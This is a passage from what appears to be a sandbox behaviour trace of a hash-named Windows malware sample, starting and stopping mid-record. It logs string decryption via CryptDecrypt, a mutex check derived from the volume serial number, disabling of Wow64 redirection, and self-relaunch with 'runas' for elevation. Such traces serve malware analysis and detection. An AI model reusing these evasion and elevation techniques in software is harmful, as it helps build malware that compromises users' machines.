dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0162.897] CryptDestroyKey (hKey=0x871820) returned 1 [0162.897] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0162.897] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0162.898] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0162.898] CloseHandle (hObject=0x224) returned 1 [0162.898] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0162.898] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0162.898] Sleep (dwMilliseconds=0x3e8) [0163.284] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dccc8 [0163.284] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0163.284] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0163.284] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dccc8, pdwDataLen=0x20df6a4 | out: pbData=0x1dccc8, pdwDataLen=0x20df6a4) returned 1 [0163.284] CryptDestroyKey (hKey=0x871820) returned 1 [0163.285] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dcca0 [0163.285] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0163.285] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0163.285] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0163.285] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0163.285] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0163.285] CryptDestroyKey (hKey=0x871820) returned 1 [0163.285] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0163.285] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dcca0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0163.285] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0163.286] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0163.286] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0163.286] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0163.286] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0163.286] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0163.287] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0163.287] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0163.287] CryptDestroyKey (hKey=0x871820) returned 1 [0163.287] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0163.287] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x104 [0163.287] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0x0) returned 0x102 [0163.287] CloseHandle (hObject=0x104) returned 1 [0163.287] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0163.288] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0163.288] Sleep (dwMilliseconds=0x3e8) [0163.394] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dcca0 [0163.394] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0163.394] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0163.394] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dcca0, pdwDataLen=0x20df6a4 | out: pbData=0x1dcca0, pdwDataLen=0x20df6a4) returned 1 [0163.394] CryptDestroyKey (hKey=0x871820) returned 1 [0163.394] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dccc8 [0163.394] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0163.394] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0163.394] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0163.394] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0163.394] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0163.394] CryptDestroyKey (hKey=0x871820) returned 1 [0163.395] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0163.395] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dccc8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0163.395] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0163.396] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0163.396] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0163.396] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0163.396] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0163.396] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0163.396] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0163.396] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0163.396] CryptDestroyKey (hKey=0x871820) returned 1 [0163.396] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0163.396] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0163.396] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0163.396] CloseHandle (hObject=0x224) returned 1 [0163.397] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0163.397] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0163.397] Sleep (dwMilliseconds=0x3e8) [0163.436] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dccc8 [0163.436] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0163.436] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0163.436] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dccc8, pdwDataLen=0x20df6a4 | out: pbData=0x1dccc8, pdwDataLen=0x20df6a4) returned 1 [0163.436] CryptDestroyKey (hKey=0x871820) returned 1 [0163.436] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dcca0 [0163.436] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0163.436] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0163.436] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0163.436] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0163.436] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0163.436] CryptDestroyKey (hKey=0x871820) returned 1 [0163.437] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0163.449] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dcca0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0163.449] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0163.450] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0163.458] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0163.463] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0163.466] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0163.466] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0163.466] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0163.466] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0163.466] CryptDestroyKey (hKey=0x871820) returned 1 [0163.466] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0163.466] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0163.466] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0163.466] CloseHandle (hObject=0x224) returned 1 [0163.467] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0163.476] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0163.476] Sleep (dwMilliseconds=0x3e8) Thread: id = 113 os_tid = 0x79c [0133.020] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x1d14a0 [0133.020] CryptImportKey (in: hProv=0x8450c0, pbData=0x22dfe70*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x22dfed8 | out: phKey=0x22dfed8*=0x8454f8) returned 1 [0133.020] CryptSetKeyParam (hKey=0x8454f8, dwParam=0x1, pbData=0x22dfec0, dwFlags=0x0) returned 1 [0133.020] CryptDecrypt (in: hKey=0x8454f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14a0, pdwDataLen=0x22dfe8c | out: pbData=0x1d14a0, pdwDataLen=0x22dfe8c) returned 1 [0133.020] CryptDestroyKey (hKey=0x8454f8) returned 1 [0133.020] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20a) returned 0x1d14b8 [0133.020] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x50) returned 0x1d16d0 [0133.020] CryptImportKey (in: hProv=0x8450c0, pbData=0x22dfe4c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x22dfeb4 | out: phKey=0x22dfeb4*=0x8454f8) returned 1 [0133.020] CryptSetKeyParam (hKey=0x8454f8, dwParam=0x1, pbData=0x22dfe9c, dwFlags=0x0) returned 1 [0133.021] CryptDecrypt (in: hKey=0x8454f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d16d0, pdwDataLen=0x22dfe68 | out: pbData=0x1d16d0, pdwDataLen=0x22dfe68) returned 1 [0133.021] CryptDestroyKey (hKey=0x8454f8) returned 1 [0133.021] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x753b0000 [0133.021] GetProcAddress (hModule=0x753b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x753dd620 [0133.021] Wow64DisableWow64FsRedirection (in: OldValue=0x22dfefc | out: OldValue=0x22dfefc*=0x0) returned 1 [0133.021] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d16d0 | out: hHeap=0x1d0000) returned 1 [0133.021] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d14b8, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x65 [0133.057] ShellExecuteExW (in: pExecInfo=0x22dfea4*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x22dfea4*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0138.220] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x50) returned 0x1d16d0 [0138.220] CryptImportKey (in: hProv=0x8450c0, pbData=0x22dfe58*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x22dfec0 | out: phKey=0x22dfec0*=0x871be0) returned 1 [0138.220] CryptSetKeyParam (hKey=0x871be0, dwParam=0x1, pbData=0x22dfea8, dwFlags=0x0) returned 1 [0138.220] CryptDecrypt (in: hKey=0x871be0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d16d0, pdwDataLen=0x22dfe74 | out: pbData=0x1d16d0, pdwDataLen=0x22dfe74) returned 1 [0138.220] CryptDestroyKey (hKey=0x871be0) returned 1 [0138.220] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x753b0000 [0138.232] GetProcAddress (hModule=0x753b0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x753dd638 [0138.233] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0138.233] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d16d0 | out: hHeap=0x1d0000) returned 1 [0138.234] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14b8 | out: hHeap=0x1d0000) returned 1 [0138.234] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14a0 | out: hHeap=0x1d0000) returned 1 Thread: id = 114 os_tid = 0x7a0 Thread: id = 115 os_tid = 0x7e4 Thread: id = 116 os_tid = 0x7e8 Thread: id = 117 os_tid = 0x7ec Thread: id = 122 os_tid = 0x7d0 [0138.587] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x440) returned 0x1d4ff0 [0138.587] CryptImportKey (in: hProv=0x8450c0, pbData=0x26afb60*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x26afbc8 | out: phKey=0x26afbc8*=0x871b20) returned 1 [0138.587] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x26afbb0, dwFlags=0x0) returned 1 [0138.587] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d4ff0, pdwDataLen=0x26afb7c | out: pbData=0x1d4ff0, pdwDataLen=0x26afb7c) returned 1 [0138.587] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.587] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x434) returned 0x1d5438 [0138.587] GetLastError () returned 0x57 [0138.587] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x214) returned 0x1d5878 [0138.587] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x753b0000 [0138.588] GetCurrentThreadId () returned 0x7d0 [0138.588] SetLastError (dwErrCode=0x57) [0138.588] GetLastError () returned 0x57 [0138.588] SetLastError (dwErrCode=0x57) [0138.588] GetLastError () returned 0x57 [0138.588] SetLastError (dwErrCode=0x57) [0138.588] GetLastError () returned 0x57 [0138.588] SetLastError (dwErrCode=0x57) [0138.588] GetLastError () returned 0x57 [0138.588] SetLastError (dwErrCode=0x57) [0138.588] GetLastError () returned 0x57 [0138.588] SetLastError (dwErrCode=0x57) [0138.588] GetLastError () returned 0x57 [0138.588] SetLastError (dwErrCode=0x57) [0138.589] GetLastError () returned 0x57 [0138.589] SetLastError (dwErrCode=0x57) [0138.589] GetLastError () returned 0x57 [0138.589] SetLastError (dwErrCode=0x57) [0138.589] GetLastError () returned 0x57 [0138.589] SetLastError (dwErrCode=0x57) [0138.589] GetLastError () returned 0x57 [0138.589] SetLastError (dwErrCode=0x57) [0138.589] GetLastError () returned 0x57 [0138.589] SetLastError (dwErrCode=0x57) [0138.589] GetLastError () returned 0x57 [0138.589] SetLastError (dwErrCode=0x57) [0138.589] GetLastError () returned 0x57 [0138.589] SetLastError (dwErrCode=0x57) [0138.589] GetLastError () returned 0x57 [0138.589] SetLastError (dwErrCode=0x57) [0138.589] GetLastError () returned 0x57 [0138.589] SetLastError (dwErrCode=0x57) [0138.589] GetLastError () returned 0x57 [0138.589] SetLastError (dwErrCode=0x57) [0138.590] GetLastError () returned 0x57 [0138.590] SetLastError (dwErrCode=0x57) [0138.590] GetLastError () returned 0x57 [0138.590] SetLastError (dwErrCode=0x57) [0138.590] GetLastError () returned 0x57 [0138.590] SetLastError (dwErrCode=0x57) [0138.590] GetLastError () returned 0x57 [0138.590] SetLastError (dwErrCode=0x57) [0138.590] GetLastError () returned 0x57 [0138.590] SetLastError (dwErrCode=0x57) [0138.590] GetLastError () returned 0x57 [0138.590] SetLastError (dwErrCode=0x57) [0138.590] GetLastError () returned 0x57 [0138.590] SetLastError (dwErrCode=0x57) [0138.590] GetLastError () returned 0x57 [0138.590] SetLastError (dwErrCode=0x57) [0138.590] GetLastError () returned 0x57 [0138.590] SetLastError (dwErrCode=0x57) [0138.590] GetLastError () returned 0x57 [0138.591] SetLastError (dwErrCode=0x57) [0138.591] GetLastError () returned 0x57 [0138.591] SetLastError (dwErrCode=0x57) [0138.591] GetLastError () returned 0x57 [0138.591] SetLastError (dwErrCode=0x57) [0138.591] GetLastError () returned 0x57 [0138.591] SetLastError (dwErrCode=0x57) [0138.591] GetLastError () returned 0x57 [0138.591] SetLastError (dwErrCode=0x57) [0138.591] GetLastError () returned 0x57 [0138.591] SetLastError (dwErrCode=0x57) [0138.591] GetLastError () returned 0x57 [0138.591] SetLastError (dwErrCode=0x57) [0138.591] GetLastError () returned 0x57 [0138.591] SetLastError (dwErrCode=0x57) [0138.591] GetLastError () returned 0x57 [0138.591] SetLastError (dwErrCode=0x57) [0138.591] GetLastError () returned 0x57 [0138.591] SetLastError (dwErrCode=0x57) [0138.591] GetLastError () returned 0x57 [0138.592] SetLastError (dwErrCode=0x57) [0138.592] GetLastError () returned 0x57 [0138.592] SetLastError (dwErrCode=0x57) [0138.592] GetLastError () returned 0x57 [0138.592] SetLastError (dwErrCode=0x57) [0138.592] GetLastError () returned 0x57 [0138.592] SetLastError (dwErrCode=0x57) [0138.592] GetLastError () returned 0x57 [0138.592] SetLastError (dwErrCode=0x57) [0138.592] GetLastError () returned 0x57 [0138.592] SetLastError (dwErrCode=0x57) [0138.592] GetLastError () returned 0x57 [0138.592] SetLastError (dwErrCode=0x57) [0138.592] GetLastError () returned 0x57 [0138.592] SetLastError (dwErrCode=0x57) [0138.593] GetLastError () returned 0x57 [0138.593] SetLastError (dwErrCode=0x57) [0138.593] GetLastError () returned 0x57 [0138.593] SetLastError (dwErrCode=0x57) [0138.593] GetLastError () returned 0x57 [0138.593] SetLastError (dwErrCode=0x57) [0138.593] GetLastError () returned 0x57 [0138.593] SetLastError (dwErrCode=0x57) [0138.593] GetLastError () returned 0x57 [0138.593] SetLastError (dwErrCode=0x57) [0138.593] GetLastError () returned 0x57 [0138.593] SetLastError (dwErrCode=0x57) [0138.594] GetLastError () returned 0x57 [0138.594] SetLastError (dwErrCode=0x57) [0138.594] GetLastError () returned 0x57 [0138.594] SetLastError (dwErrCode=0x57) [0138.594] GetLastError () returned 0x57 [0138.594] SetLastError (dwErrCode=0x57) [0138.594] GetLastError () returned 0x57 [0138.594] SetLastError (dwErrCode=0x57) [0138.594] GetLastError () returned 0x57 [0138.594] SetLastError (dwErrCode=0x57) [0138.594] GetLastError () returned 0x57 [0138.594] SetLastError (dwErrCode=0x57) [0138.594] GetLastError () returned 0x57 [0138.594] SetLastError (dwErrCode=0x57) [0138.594] GetLastError () returned 0x57 [0138.594] SetLastError (dwErrCode=0x57) [0138.594] GetLastError () returned 0x57 [0138.594] SetLastError (dwErrCode=0x57) [0138.594] GetLastError () returned 0x57 [0138.594] SetLastError (dwErrCode=0x57) [0138.595] GetLastError () returned 0x57 [0138.595] SetLastError (dwErrCode=0x57) [0138.595] GetLastError () returned 0x57 [0138.595] SetLastError (dwErrCode=0x57) [0138.595] GetLastError () returned 0x57 [0138.595] SetLastError (dwErrCode=0x57) [0138.595] GetLastError () returned 0x57 [0138.595] SetLastError (dwErrCode=0x57) [0138.595] GetLastError () returned 0x57 [0138.595] SetLastError (dwErrCode=0x57) [0138.595] GetLastError () returned 0x57 [0138.595] SetLastError (dwErrCode=0x57) [0138.595] GetLastError () returned 0x57 [0138.595] SetLastError (dwErrCode=0x57) [0138.595] GetLastError () returned 0x57 [0138.595] SetLastError (dwErrCode=0x57) [0138.595] GetLastError () returned 0x57 [0138.595] SetLastError (dwErrCode=0x57) [0138.595] GetLastError () returned 0x57 [0138.596] SetLastError (dwErrCode=0x57) [0138.596] GetLastError () returned 0x57 [0138.596] SetLastError (dwErrCode=0x57) [0138.596] GetLastError () returned 0x57 [0138.596] SetLastError (dwErrCode=0x57) [0138.596] GetLastError () returned 0x57 [0138.596] SetLastError (dwErrCode=0x57) [0138.596] GetLastError () returned 0x57 [0138.596] SetLastError (dwErrCode=0x57) [0138.596] GetLastError () returned 0x57 [0138.596] SetLastError (dwErrCode=0x57) [0138.596] GetLastError () returned 0x57 [0138.596] SetLastError (dwErrCode=0x57) [0138.596] GetLastError () returned 0x57 [0138.596] SetLastError (dwErrCode=0x57) [0138.596] GetLastError () returned 0x57 [0138.596] SetLastError (dwErrCode=0x57) [0138.596] GetLastError () returned 0x57 [0138.596] SetLastError (dwErrCode=0x57) [0138.596] GetLastError () returned 0x57 [0138.597] SetLastError (dwErrCode=0x57) [0138.597] GetLastError () returned 0x57 [0138.597] SetLastError (dwErrCode=0x57) [0138.597] GetLastError () returned 0x57 [0138.597] SetLastError (dwErrCode=0x57) [0138.597] GetLastError () returned 0x57 [0138.597] SetLastError (dwErrCode=0x57) [0138.597] GetLastError () returned 0x57 [0138.597] SetLastError (dwErrCode=0x57) [0138.597] GetLastError () returned 0x57 [0138.597] SetLastError (dwErrCode=0x57) [0138.597] GetLastError () returned 0x57 [0138.597] SetLastError (dwErrCode=0x57) [0138.597] GetLastError () returned 0x57 [0138.597] SetLastError (dwErrCode=0x57) [0138.597] GetLastError () returned 0x57 [0138.597] SetLastError (dwErrCode=0x57) [0138.597] GetLastError () returned 0x57 [0138.598] SetLastError (dwErrCode=0x57) [0138.598] GetLastError () returned 0x57 [0138.598] SetLastError (dwErrCode=0x57) [0138.598] GetLastError () returned 0x57 [0138.598] SetLastError (dwErrCode=0x57) [0138.598] GetLastError () returned 0x57 [0138.598] SetLastError (dwErrCode=0x57) [0138.598] GetLastError () returned 0x57 [0138.598] SetLastError (dwErrCode=0x57) [0138.598] GetLastError () returned 0x57 [0138.598] SetLastError (dwErrCode=0x57) [0138.598] GetLastError () returned 0x57 [0138.598] SetLastError (dwErrCode=0x57) [0138.598] GetLastError () returned 0x57 [0138.598] SetLastError (dwErrCode=0x57) [0138.598] GetLastError () returned 0x57 [0138.598] SetLastError (dwErrCode=0x57) [0138.598] GetLastError () returned 0x57 [0138.599] SetLastError (dwErrCode=0x57) [0138.599] GetLastError () returned 0x57 [0138.599] SetLastError (dwErrCode=0x57) [0138.599] GetLastError () returned 0x57 [0138.599] SetLastError (dwErrCode=0x57) [0138.599] GetLastError () returned 0x57 [0138.599] SetLastError (dwErrCode=0x57) [0138.599] GetLastError () returned 0x57 [0138.599] SetLastError (dwErrCode=0x57) [0138.599] GetLastError () returned 0x57 [0138.599] SetLastError (dwErrCode=0x57) [0138.599] GetLastError () returned 0x57 [0138.599] SetLastError (dwErrCode=0x57) [0138.599] GetLastError () returned 0x57 [0138.599] SetLastError (dwErrCode=0x57) [0138.599] GetLastError () returned 0x57 [0138.599] SetLastError (dwErrCode=0x57) [0138.599] GetLastError () returned 0x57 [0138.600] SetLastError (dwErrCode=0x57) [0138.600] GetLastError () returned 0x57 [0138.600] SetLastError (dwErrCode=0x57) [0138.600] GetLastError () returned 0x57 [0138.600] SetLastError (dwErrCode=0x57) [0138.600] GetLastError () returned 0x57 [0138.600] SetLastError (dwErrCode=0x57) [0138.600] GetLastError () returned 0x57 [0138.600] SetLastError (dwErrCode=0x57) [0138.600] GetLastError () returned 0x57 [0138.600] SetLastError (dwErrCode=0x57) [0138.600] GetLastError () returned 0x57 [0138.600] SetLastError (dwErrCode=0x57) [0138.600] GetLastError () returned 0x57 [0138.600] SetLastError (dwErrCode=0x57) [0138.600] GetLastError () returned 0x57 [0138.600] SetLastError (dwErrCode=0x57) [0138.600] GetLastError () returned 0x57 [0138.601] 